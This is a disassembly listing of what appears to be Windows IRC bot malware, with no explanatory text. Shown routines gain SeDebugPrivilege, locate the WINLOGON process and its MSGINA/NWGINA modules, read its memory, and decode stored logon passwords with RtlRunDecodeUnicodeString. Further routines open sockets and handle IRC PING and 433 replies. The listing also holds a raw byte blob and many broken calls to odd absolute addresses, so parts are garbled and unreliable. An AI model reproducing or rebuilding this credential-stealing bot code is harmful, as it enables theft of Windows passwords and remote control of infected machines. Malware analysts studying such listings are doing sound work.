		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 7FA46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 7F8468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 0E8535959h, 2469BB9h, 5B5E5F90h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 0E868FFFFh
		dd 5600437Fh, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 9A8CBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 4F917FE8h,	75C08502h
		dd 0FC75FF8Fh, 4D9173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	437FCCh
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 90FAE856h, 8590024Fh, 56B175C0h, 4D90EFE8h
		dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_4381C0
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 2850000h
		nop
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D449C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4490, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46A0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4498, eax
		call	esi
		mov	dword_4D4494, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D3490
		push	edi
		push	ebx
		push	offset off_4380FC
		call	esi
		push	edi
		mov	edi, offset dword_4D3C90
		push	edi
		push	offset off_4380E4
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D46A8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D46A8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438088
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_438050
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_438024


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 2940449h
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437FF0


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 288097Dh
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D449C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2950000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D449C
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D4490
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46A0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D4498


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2950000h
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D4498


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 282091Ch
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 29702CAh
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2960B56h
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D3490
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3C90
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2900000h
		nop
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 28F09B1h
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46B4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46AC, eax
		mov	dword_4D46B0, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 2950000h
		nop
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		call	near ptr 28005AFh
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 282091Ch
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 29702CAh
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2960B56h
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 2960000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2970000h
		nop
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D3490
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D3C90
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2950000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 28005AFh


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46AC, ebx
		mov	dword_4D46B0, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 28005AFh
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46A8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2960000h
		mov	ecx, dword_4D46A8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46B0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46B4
		push	eax
		call	dword_4D4494
		push	[ebp+var_4]
		mov	edi, offset dword_4D44A0
		push	offset dword_4D3490
		push	offset dword_4D3C90
		push	[ebp+arg_0]
		push	offset dword_43820C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2950000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46A8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 2960B03h
		nop
		push	eax
		nop
		call	near ptr 2960000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3C90
		mov	edi, 200h
		mov	esi, offset dword_4D3290


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D46A8
		add	eax, eax
		push	eax
		push	dword_4D46B0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4494
		mov	eax, dword_4D46A8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D3490
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43820C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D3490
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43825C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2960B03h
		push	eax
		nop
		call	near ptr 2950000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6A4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB624
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB664
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CB6A8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5CC
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB6BC


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A068 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46BC
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB674


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DADDC
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D0F0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_438E70
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_438E6C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
